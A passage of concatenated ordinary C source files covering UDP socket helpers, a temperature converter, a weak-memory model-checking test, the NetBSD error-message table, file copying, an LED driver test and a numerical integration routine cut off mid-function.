_OU_ unsigned char *p_data,
_IN_ unsigned int datalen,
_IN_ unsigned int timeout_ms)
{
int ret;
fd_set read_fds;
struct timeval timeout = {timeout_ms / 1000, (timeout_ms % 1000) * 1000};
FD_ZERO(&read_fds);
FD_SET(sockfd, &read_fds);
ret = select(sockfd + 1, &read_fds, NULL, NULL, &timeout);
if (ret == 0) {
return 0; /* receive timeout */
}
if (ret < 0) {
if (errno == EINTR) {
return -3; /* want read */
}
return -4; /* receive failed */
}
ret = read(sockfd, p_data, datalen);
return ret;
}
int HAL_UDP_recvfrom(_IN_ intptr_t sockfd,
_OU_ NetworkAddr *p_remote,
_OU_ unsigned char *p_data,
_IN_ unsigned int datalen,
_IN_ unsigned int timeout_ms)
{
int ret;
struct sockaddr_in addr;
socklen_t addr_len = sizeof(addr);
fd_set read_fds;
struct timeval timeout = {timeout_ms / 1000, (timeout_ms % 1000) * 1000};
FD_ZERO(&read_fds);
FD_SET(sockfd, &read_fds);
ret = select(sockfd + 1, &read_fds, NULL, NULL, &timeout);
if (ret == 0) {
return 0; /* receive timeout */
}
if (ret < 0) {
if (errno == EINTR) {
return -3; /* want read */
}
return -4; /* receive failed */
}
ret = recvfrom(sockfd, p_data, datalen, 0, (struct sockaddr *)&addr, &addr_len);
if (ret > 0) {
if (NULL != p_remote) {
p_remote->port = ntohs(addr.sin_port);
strcpy((char *)p_remote->addr, inet_ntoa(addr.sin_addr));
}
return ret;
}
return -1;
}
int HAL_UDP_send(_IN_ intptr_t sockfd,
_IN_ const unsigned char *p_data,
_IN_ unsigned int datalen,
_IN_ unsigned int timeout_ms)
{
int ret;
fd_set write_fds;
struct timeval timeout = {timeout_ms / 1000, (timeout_ms % 1000) * 1000};
FD_ZERO(&write_fds);
FD_SET(sockfd, &write_fds);
ret = select(sockfd + 1, NULL, &write_fds, NULL, &timeout);
if (ret == 0) {
return 0; /* write timeout */
}
if (ret < 0) {
if (errno == EINTR) {
return -3; /* want write */
}
return -4; /* write failed */
}
ret = send(sockfd, (char *)p_data, (int)datalen, 0);
if (ret < 0) {
hal_err("send");
}
return ret;
}
int HAL_UDP_sendto(_IN_ intptr_t sockfd,
_IN_ const NetworkAddr *p_remote,
_IN_ const unsigned char *p_data,
_IN_ unsigned int datalen,
_IN_ unsigned int timeout_ms)
{
int ret;
uint32_t ip;
struct in_addr in;
struct hostent *hp;
struct sockaddr_in addr;
fd_set write_fds;
struct timeval timeout = {timeout_ms / 1000, (timeout_ms % 1000) * 1000};
if (inet_aton((char *)p_remote->addr, &in)) {
ip = *(uint32_t *)∈
} else {
hp = gethostbyname((char *)p_remote->addr);
if (!hp) {
hal_err("can't resolute the host address \n");
return -1;
}
ip = *(uint32_t *)(hp->h_addr);
}
FD_ZERO(&write_fds);
FD_SET(sockfd, &write_fds);
ret = select(sockfd + 1, NULL, &write_fds, NULL, &timeout);
if (ret == 0) {
return 0; /* write timeout */
}
if (ret < 0) {
if (errno == EINTR) {
return -3; /* want write */
}
return -4; /* write failed */
}
addr.sin_addr.s_addr = ip;
addr.sin_family = AF_INET;
addr.sin_port = htons(p_remote->port);
ret = sendto(sockfd, p_data, datalen, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
if (ret < 0) {
hal_err("sendto");
}
return (ret) > 0 ? ret : -1;
}
#endif /* #if defined(HAL_UDP) */
|
the_stack_data/41182.c | // Write a program to convert the temperature from Celsius to Fahrenheit
#include <stdio.h>
void main()
{
float c;
printf("Enter temp. (in C) : ");
scanf("%f", &c);
float f = ((9 * c) / 5) + 32;
printf("Temp. in F : %f\n", f);
}
|
the_stack_data/149433.c | extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { __VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include <assert.h>
#include <pthread.h>
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p0_EAX;
int __unbuffered_p0_EAX = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
int __unbuffered_p2_EBX;
int __unbuffered_p2_EBX = 0;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
_Bool y$flush_delayed;
int y$mem_tmp;
_Bool y$r_buff0_thd0;
_Bool y$r_buff0_thd1;
_Bool y$r_buff0_thd2;
_Bool y$r_buff0_thd3;
_Bool y$r_buff1_thd0;
_Bool y$r_buff1_thd1;
_Bool y$r_buff1_thd2;
_Bool y$r_buff1_thd3;
_Bool y$read_delayed;
int *y$read_delayed_var;
int y$w_buff0;
_Bool y$w_buff0_used;
int y$w_buff1;
_Bool y$w_buff1_used;
_Bool weak$$choice0;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd1 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd1 || y$w_buff1_used && y$r_buff1_thd1 ? FALSE : y$w_buff1_used;
y$r_buff0_thd1 = y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$r_buff0_thd1;
y$r_buff1_thd1 = y$w_buff0_used && y$r_buff0_thd1 || y$w_buff1_used && y$r_buff1_thd1 ? FALSE : y$r_buff1_thd1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
y$flush_delayed = weak$$choice2;
y$mem_tmp = y;
y = !y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : y$w_buff1);
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : y$w_buff0));
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff1 : y$w_buff1));
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$w_buff0_used));
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : FALSE));
y$r_buff0_thd1 = weak$$choice2 ? y$r_buff0_thd1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$r_buff0_thd1 : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$r_buff0_thd1));
y$r_buff1_thd1 = weak$$choice2 ? y$r_buff1_thd1 : (!y$w_buff0_used || !y$r_buff0_thd1 && !y$w_buff1_used || !y$r_buff0_thd1 && !y$r_buff1_thd1 ? y$r_buff1_thd1 : (y$w_buff0_used && y$r_buff0_thd1 ? FALSE : FALSE));
__unbuffered_p0_EAX = y;
y = y$flush_delayed ? y$mem_tmp : y;
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd1 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd1 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd1 || y$w_buff1_used && y$r_buff1_thd1 ? FALSE : y$w_buff1_used;
y$r_buff0_thd1 = y$w_buff0_used && y$r_buff0_thd1 ? FALSE : y$r_buff0_thd1;
y$r_buff1_thd1 = y$w_buff0_used && y$r_buff0_thd1 || y$w_buff1_used && y$r_buff1_thd1 ? FALSE : y$r_buff1_thd1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
y$w_buff1 = y$w_buff0;
y$w_buff0 = 2;
y$w_buff1_used = y$w_buff0_used;
y$w_buff0_used = TRUE;
__VERIFIER_assert(!(y$w_buff1_used && y$w_buff0_used));
y$r_buff1_thd0 = y$r_buff0_thd0;
y$r_buff1_thd1 = y$r_buff0_thd1;
y$r_buff1_thd2 = y$r_buff0_thd2;
y$r_buff1_thd3 = y$r_buff0_thd3;
y$r_buff0_thd2 = TRUE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd2 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd2 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd2 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd2 || y$w_buff1_used && y$r_buff1_thd2 ? FALSE : y$w_buff1_used;
y$r_buff0_thd2 = y$w_buff0_used && y$r_buff0_thd2 ? FALSE : y$r_buff0_thd2;
y$r_buff1_thd2 = y$w_buff0_used && y$r_buff0_thd2 || y$w_buff1_used && y$r_buff1_thd2 ? FALSE : y$r_buff1_thd2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
__unbuffered_p2_EAX = x;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_0();
weak$$choice2 = nondet_0();
y$flush_delayed = weak$$choice2;
y$mem_tmp = y;
y = !y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : y$w_buff1);
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : y$w_buff0));
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff1 : y$w_buff1));
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$w_buff0_used));
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : FALSE));
y$r_buff0_thd3 = weak$$choice2 ? y$r_buff0_thd3 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$r_buff0_thd3 : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$r_buff0_thd3));
y$r_buff1_thd3 = weak$$choice2 ? y$r_buff1_thd3 : (!y$w_buff0_used || !y$r_buff0_thd3 && !y$w_buff1_used || !y$r_buff0_thd3 && !y$r_buff1_thd3 ? y$r_buff1_thd3 : (y$w_buff0_used && y$r_buff0_thd3 ? FALSE : FALSE));
__unbuffered_p2_EBX = y;
y = y$flush_delayed ? y$mem_tmp : y;
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd3 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd3 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd3 || y$w_buff1_used && y$r_buff1_thd3 ? FALSE : y$w_buff1_used;
y$r_buff0_thd3 = y$w_buff0_used && y$r_buff0_thd3 ? FALSE : y$r_buff0_thd3;
y$r_buff1_thd3 = y$w_buff0_used && y$r_buff0_thd3 || y$w_buff1_used && y$r_buff1_thd3 ? FALSE : y$r_buff1_thd3;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_1();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 3;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
y = y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff0 : (y$w_buff1_used && y$r_buff1_thd0 ? y$w_buff1 : y);
y$w_buff0_used = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$w_buff0_used;
y$w_buff1_used = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$w_buff1_used;
y$r_buff0_thd0 = y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$r_buff0_thd0;
y$r_buff1_thd0 = y$w_buff0_used && y$r_buff0_thd0 || y$w_buff1_used && y$r_buff1_thd0 ? FALSE : y$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
weak$$choice0 = nondet_0();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
weak$$choice2 = nondet_0();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$flush_delayed = weak$$choice2;
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$mem_tmp = y;
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y = !y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y : (y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff0 : y$w_buff1);
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$w_buff0 = weak$$choice2 ? y$w_buff0 : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$w_buff0 : (y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff0 : y$w_buff0));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$w_buff1 = weak$$choice2 ? y$w_buff1 : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$w_buff1 : (y$w_buff0_used && y$r_buff0_thd0 ? y$w_buff1 : y$w_buff1));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$w_buff0_used = weak$$choice2 ? y$w_buff0_used : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$w_buff0_used : (y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$w_buff0_used));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$w_buff1_used = weak$$choice2 ? y$w_buff1_used : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$w_buff1_used : (y$w_buff0_used && y$r_buff0_thd0 ? FALSE : FALSE));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$r_buff0_thd0 = weak$$choice2 ? y$r_buff0_thd0 : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$r_buff0_thd0 : (y$w_buff0_used && y$r_buff0_thd0 ? FALSE : y$r_buff0_thd0));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$r_buff1_thd0 = weak$$choice2 ? y$r_buff1_thd0 : (!y$w_buff0_used || !y$r_buff0_thd0 && !y$w_buff1_used || !y$r_buff0_thd0 && !y$r_buff1_thd0 ? y$r_buff1_thd0 : (y$w_buff0_used && y$r_buff0_thd0 ? FALSE : FALSE));
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
main$tmp_guard1 = !(y == 2 && __unbuffered_p0_EAX == 1 && __unbuffered_p2_EAX == 1 && __unbuffered_p2_EBX == 0);
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y = y$flush_delayed ? y$mem_tmp : y;
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
y$flush_delayed = FALSE;
__VERIFIER_atomic_end();
/* Program was expected to be safe for X86, model checker should have said NO.
This likely is a bug in the tool chain. */
__VERIFIER_assert(main$tmp_guard1);
return 0;
}
|
the_stack_data/288910.c | /* $NetBSD: compat_errlist.c,v 1.2 2006/10/31 00:38:07 cbiere Exp $
*/
/*
* Copyright (c) 1982, 1985, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <sys/cdefs.h>
#include <errno.h>
const char *const sys_errlist[] = {
"Undefined error: 0", /* 0 - ENOERROR */
"Operation not permitted", /* 1 - EPERM */
"No such file or directory", /* 2 - ENOENT */
"No such process", /* 3 - ESRCH */
"Interrupted system call", /* 4 - EINTR */
"Input/output error", /* 5 - EIO */
"Device not configured", /* 6 - ENXIO */
"Argument list too long", /* 7 - E2BIG */
"Exec format error", /* 8 - ENOEXEC */
"Bad file descriptor", /* 9 - EBADF */
"No child processes", /* 10 - ECHILD */
"Resource deadlock avoided", /* 11 - EDEADLK */
"Cannot allocate memory", /* 12 - ENOMEM */
"Permission denied", /* 13 - EACCES */
"Bad address", /* 14 - EFAULT */
"Block device required", /* 15 - ENOTBLK */
"Device busy", /* 16 - EBUSY */
"File exists", /* 17 - EEXIST */
"Cross-device link", /* 18 - EXDEV */
"Operation not supported by device", /* 19 - ENODEV */
"Not a directory", /* 20 - ENOTDIR */
"Is a directory", /* 21 - EISDIR */
"Invalid argument", /* 22 - EINVAL */
"Too many open files in system", /* 23 - ENFILE */
"Too many open files", /* 24 - EMFILE */
"Inappropriate ioctl for device", /* 25 - ENOTTY */
"Text file busy", /* 26 - ETXTBSY */
"File too large", /* 27 - EFBIG */
"No space left on device", /* 28 - ENOSPC */
"Illegal seek", /* 29 - ESPIPE */
"Read-only file system", /* 30 - EROFS */
"Too many links", /* 31 - EMLINK */
"Broken pipe", /* 32 - EPIPE */
/* math software */
"Numerical argument out of domain", /* 33 - EDOM */
"Result too large or too small", /* 34 - ERANGE */
/* non-blocking and interrupt i/o */
"Resource temporarily unavailable", /* 35 - EAGAIN */
/* 35 - EWOULDBLOCK */
"Operation now in progress", /* 36 - EINPROGRESS */
"Operation already in progress", /* 37 - EALREADY */
/* ipc/network software -- argument errors */
"Socket operation on non-socket", /* 38 - ENOTSOCK */
"Destination address required", /* 39 - EDESTADDRREQ */
"Message too long", /* 40 - EMSGSIZE */
"Protocol wrong type for socket", /* 41 - EPROTOTYPE */
"Protocol option not available", /* 42 - ENOPROTOOPT */
"Protocol not supported", /* 43 - EPROTONOSUPPORT */
"Socket type not supported", /* 44 - ESOCKTNOSUPPORT */
"Operation not supported", /* 45 - EOPNOTSUPP */
"Protocol family not supported", /* 46 - EPFNOSUPPORT */
/* 47 - EAFNOSUPPORT */
"Address family not supported by protocol family",
"Address already in use", /* 48 - EADDRINUSE */
"Can't assign requested address", /* 49 - EADDRNOTAVAIL */
/* ipc/network software -- operational errors */
"Network is down", /* 50 - ENETDOWN */
"Network is unreachable", /* 51 - ENETUNREACH */
"Network dropped connection on reset", /* 52 - ENETRESET */
"Software caused connection abort", /* 53 - ECONNABORTED */
"Connection reset by peer", /* 54 - ECONNRESET */
"No buffer space available", /* 55 - ENOBUFS */
"Socket is already connected", /* 56 - EISCONN */
"Socket is not connected", /* 57 - ENOTCONN */
"Can't send after socket shutdown", /* 58 - ESHUTDOWN */
"Too many references: can't splice", /* 59 - ETOOMANYREFS */
"Operation timed out", /* 60 - ETIMEDOUT */
"Connection refused", /* 61 - ECONNREFUSED */
"Too many levels of symbolic links", /* 62 - ELOOP */
"File name too long", /* 63 - ENAMETOOLONG */
/* should be rearranged */
"Host is down", /* 64 - EHOSTDOWN */
"No route to host", /* 65 - EHOSTUNREACH */
"Directory not empty", /* 66 - ENOTEMPTY */
/* quotas & mush */
"Too many processes", /* 67 - EPROCLIM */
"Too many users", /* 68 - EUSERS */
"Disc quota exceeded", /* 69 - EDQUOT */
/* Network File System */
"Stale NFS file handle", /* 70 - ESTALE */
"Too many levels of remote in path", /* 71 - EREMOTE */
"RPC struct is bad", /* 72 - EBADRPC */
"RPC version wrong", /* 73 - ERPCMISMATCH */
"RPC prog. not avail", /* 74 - EPROGUNAVAIL */
"Program version wrong", /* 75 - EPROGMISMATCH */
"Bad procedure for program", /* 76 - EPROCUNAVAIL */
"No locks available", /* 77 - ENOLCK */
"Function not implemented", /* 78 - ENOSYS */
"Inappropriate file type or format", /* 79 - EFTYPE */
};
const int sys_nerr = {sizeof(sys_errlist) / sizeof(sys_errlist[0])};
|
the_stack_data/688489.c | #include <stdlib.h>
void big(long long u) { }
void doit(unsigned int a,unsigned int b,char *id)
{
big(*id);
big(a);
big(b);
}
int main(void)
{
doit(1,1,"\n");
return 0;
}
|
the_stack_data/507726.c | #include <stdio.h>
#include <stdlib.h>
#define BUF_LENGTH 256
int main(void) {
FILE *src, *dst;
char buf[BUF_LENGTH];
if ((src = fopen("infile.txt", "r")) == NULL) {
perror("Error (infile.txt)");
exit(1);
}
if ((dst = fopen("outfile.txt", "w")) == NULL) {
perror("Error (outfile.txt)");
exit(2);
}
while((fgets(buf, BUF_LENGTH, src)) != NULL) {
fputs( buf, dst );
}
fclose(src);
fclose(dst);
exit(0);
}
|
the_stack_data/234518817.c |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <ctype.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <termios.h>
#define DRIVER_NAME "/dev/cnmled"
void doHelp(void)
{
printf("Usage:\n");
printf("mledtest option displayTime number\n");
printf("exit 'q' \n");
printf("ex) mledtest s 3 71 ; display '71' for 3 Seconds\n");
printf("ex) mledtest c 3 71 ; counting from 0 to 71 with 3 Seconds interval.\n");
}
#define MAX_COLUMN_NUM 5
// 0 ~ 9
const unsigned short NumData[10][MAX_COLUMN_NUM]=
{
{0xfe00,0xfd7F,0xfb41,0xf77F,0xef00}, // 0
{0xfe00,0xfd42,0xfb7F,0xf740,0xef00}, // 1
{0xfe00,0xfd79,0xfb49,0xf74F,0xef00}, // 2
{0xfe00,0xfd49,0xfb49,0xf77F,0xef00}, // 3
{0xfe00,0xfd0F,0xfb08,0xf77F,0xef00}, // 4
{0xfe00,0xfd4F,0xfb49,0xf779,0xef00}, // 5
{0xfe00,0xfd7F,0xfb49,0xf779,0xef00}, // 6
{0xfe00,0xfd07,0xfb01,0xf77F,0xef00}, // 7
{0xfe00,0xfd7F,0xfb49,0xf77F,0xef00}, // 8
{0xfe00,0xfd4F,0xfb49,0xf77F,0xef00} // 9
};
static struct termios oldt, newt;
void changemode(int dir)
{
if( dir == 1)
{
tcgetattr(STDIN_FILENO , &oldt);
newt = oldt;
newt.c_lflag &= ~(ICANON | ECHO );
tcsetattr(STDIN_FILENO, TCSANOW, &newt);
}
else
{
tcsetattr(STDIN_FILENO , TCSANOW, &oldt);
}
}
int kbhit(void)
{
struct timeval tv;
fd_set rdfs;
tv.tv_sec = 0;
tv.tv_usec = 0;
FD_ZERO(&rdfs);
FD_SET(STDIN_FILENO , &rdfs);
select(STDIN_FILENO + 1 , &rdfs , NULL, NULL, &tv);
return FD_ISSET(STDIN_FILENO , &rdfs);
}
#define ONE_LINE_TIME_U 1000
// exit return => 0 , success return => 1
int displayDotLed(int driverfile , int num ,int timeS)
{
int cSelCounter,loopCounter;
int highChar , lowChar;
int temp , totalCount ;
unsigned short wdata[2];
temp = num % 100;
highChar = temp / 10;
lowChar = temp % 10;
totalCount = timeS*(1000000 / ONE_LINE_TIME_U);
printf("totalcounter: %d\n",totalCount);
cSelCounter = 0;
loopCounter = 0;
while(1)
{
// high byte display
wdata[0] = NumData[highChar][cSelCounter];
// low byte display
wdata[1] = NumData[lowChar][cSelCounter];
write(driverfile,(unsigned char*)wdata,4);
cSelCounter++;
if ( cSelCounter >= (MAX_COLUMN_NUM-1))
cSelCounter = 1;
usleep(ONE_LINE_TIME_U);
loopCounter++;
if ( loopCounter > totalCount )
break;
if (kbhit())
{
if ( getchar() == (int)'q')
{
wdata[0]= 0;
wdata[1]= 0;
write(driverfile,(unsigned char*)wdata,4);
printf("Exit mledtest\n");
return 0;
}
}
}
wdata[0]= 0;
wdata[1]= 0;
write(driverfile,(unsigned char*)wdata,4);
return 1;
}
int main(int argc , char **argv)
{
int durationTime ,Num ;
int fd;
int counterFlag = 0;
int counter;
if (argc < 4 )
{
perror(" Args number is less than 4\n");
doHelp();
return 1;
}
if ( (argv[1][0] == 's' ) || ( argv[1][0] == 'c' ))
{
if ( argv[1][0] == 'c' )
counterFlag = 1;
}
else
{
perror("option parameter are not 's' and 'c' .\n");
doHelp();
return 1;
}
printf("exit 'q' \n");
durationTime = atoi(argv[2]);
Num = atoi(argv[3]);
if (durationTime == 0 )
durationTime =1;
changemode(1);
// open driver
fd = open(DRIVER_NAME,O_RDWR);
if ( fd < 0 )
{
perror("driver open error.\n");
return 1;
}
if ( counterFlag )
{
counter = 0;
for ( counter = 0; counter <= Num ; counter++)
{
if(!displayDotLed(fd , counter ,durationTime))
break;
}
}
else
{
displayDotLed(fd , Num ,durationTime);
}
changemode(0);
close(fd);
return 0;
}
|
the_stack_data/129848.c | #define FUNC(x) ((*func)(x))
double trapzd1(double (*func)(double), double a, double b, int n)
{
double x,tnm,sum,del;
static double s;
int it,j;
if (n == 1) {
return (s=0.5*(b-a)*(FUNC(a)+FUNC(b)));
} else {
for (it=1,j=1;j<n-1;j++) it <<= 1;
tnm=it;
del=(b-a)/tnm;
x=a+0.5*del;
for (sum=0.0,j=1;j<=it;j++,x+=del) sum += FUNC(x);
